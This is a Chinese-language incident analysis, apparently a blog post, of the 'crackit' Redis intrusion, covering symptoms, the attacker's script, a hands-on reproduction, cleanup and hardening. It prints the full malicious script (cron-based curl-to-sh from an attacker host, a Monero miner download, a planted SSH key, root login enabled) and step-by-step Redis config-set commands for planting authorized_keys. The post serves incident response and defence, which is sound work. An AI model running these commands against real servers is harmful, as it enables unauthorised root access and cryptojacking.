redis crackit入侵事件总结

1. 现象

 &emsp有以下其一现象就要注意是否被入侵:

  • crontab -l 可以看到类似“/15 * curl -fsSL https://r.chanstring.com/api/... | sh”。
  • ps -ef 可以看到进程 “/opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:x@xmr.crypto-pool.fr:6666/xmr”。
  • 查看redis库,有“crackit”键。

2. 分析

通过查看从“https://r.chanstring.com/api/...”获取的脚本进行分析,脚本如下:

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0623 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0623 | sh" > /var/spool/cron/crontabs/root

ps auxf | grep -v grep | grep yam || nohup /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:x@xmr.crypto-pool.fr:6666/xmr &

if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then
    mkdir -p ~/.ssh
    rm -f ~/.ssh/authorized_keys*
    echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq
    echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
    echo "RSAAuthentication yes" >> /etc/ssh/sshd_config
    echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config
    echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config
    /etc/init.d/sshd restart
fi

if [ ! -f "/opt/yam/yam" ]; then
    rm -rf /opt/yam
    mkdir -p /opt/yam
    curl -fsSL https://r.chanstring.com/api/download/yam -o /opt/yam/yam
    chmod +x /opt/yam/yam
    nohup /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:x@xmr.crypto-pool.fr:6666/xmr &
fi

if [ ! -f "/etc/init.d/lady" ]; then
    if [ ! -f "/etc/systemd/system/lady.service" ]; then
        mkdir -p /opt
        curl -fsSL https://r.chanstring.com/v10/lady_`uname -i` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /opt/KHK75NEOiq33
    fi
fi

rm -rf /tmp/KHK75NEOiq*

service lady start
systemctl start lady.service
/etc/init.d/lady start

上面的脚本大概做了如下几件事:

  • 将攻击脚本写入肉鸡的crontab中,定时执行;
  • 将/opt/yam/yam(https://r.chanstring.com/api/...)放肉鸡后台执行;
  • 建立到肉鸡的单向信任关系,即无需密码即可以root权限登录肉鸡 注册

并启动/etc/init.d/lady(https://r.chanstring.com/v10/...`uname -i`处获取)服务。

3. 模拟

为了更好地理解具体流程,以便于采取补救措施,这里手动进行下模拟:
    • 前提:远程主机可以无需密码登录redis

    1. 执行命令“ssh-keygen -t rsa”一路回车到底,生成公钥和私钥(也可以执行 ssh-keygen -t rsa -C "ssss"以隐藏公钥中的主机名)。 生成到txt “(echo -e "nn"; cat id_rsa.pub; echo -e "nn") > foo.txt”(为了避免会拼接在其他字符串后面或被其他字符串拼接,这里在公钥上下加两行空行)
    2. 清空redis:redis-cli -h 远程ip flushall (非常暴力,请务必在测试环境执行。实际上也不用清空,因为在第2步中我们已经加了多的空行)
    3. 执行:“cat foo.txt | redis-cli -h xxxx -x set crackit”(这里“crackit”可以是任意名字)
    4. 执行命令“redis-cli -h 远程ip”登录到远程主机redis,执行如下命令:

      # 调用config set命令对redis的备份文件路径进行修改,然后执行
      # save进行生成备份文件(这里是生成了authorized_keys文件,也可
      # 以是任意名字,但如果是其他名字就需要通过脚本对远程主
      # 机/etc/ssh/sshd_config文件进行相应的配置)。这样就可以使用
      # 本地的私钥去登入被植入公钥的ssh服务器了。
      
      config set dir /root/.ssh/
      config dbfilename authorized_keys
      save
    5. 然后写一个对远程主机的/etc/ssh/sshd_config进行相关配置并重启远程主机sshd服务的脚本,通过上面的步骤植入到远程主机的/var/spool/cron/root文件中,以让远程主机执行该脚本。

    到这里,我们就可以不需要密码以root身份登录远程主机了。

    4. 清理

    若不想重装系统,就得清理掉入侵者写入本地的文件,及在本机开启的服务。
    
    1. 删掉/var/spool/cron/root、/var/spool/cron/crontabs/root,重启crontab服务;
    2. 删掉/root/.ssh/目录下的异常文件(可以删除所有文件);
    3. kill掉/opt/yam/yam产生的进程,并删除/opt/yam/yam;
    4. 将/etc/init.d/lady从服务列表中删除,停掉/etc/init.d/lady,删除/etc/init.d/lady;
    5. 修复/etc/ssh/sshd_config文件; 修复redis配置文件,重启redis。

    5. 修补加固建议

    1. 通过配置rename-command CONFIG "",禁用一些命令。(某些必须以高权限运行的,可以借鉴该方案)

         
         修改redis.conf文件,增加
         rename-command FLUSHALL ""
         rename-command FLUSHDB ""
         rename-command CONFIG ""
         rename-command EVAL ""
    2. 以低权限启动redis

         切换到其他用户su - xxx,然后再启动server(切换是否注意之前文件权限,也需要相应修改)。
      
    3. 给redis增加验证。

         修改redis.conf文件
         requirepass mypassword
      
    4. 禁止对公网开放,将端口绑定到固定IP。

         修改redis.conf文件
         bind 127.0.0.1
      
    5. 检查用户.ssh目录下是否已经存在非法的authorized_keys文件。
    阅读 213

    推荐阅读
    后端到架构
    用户专栏

    后端、架构技术分享

    0 人关注
    11 篇文章
    专栏主页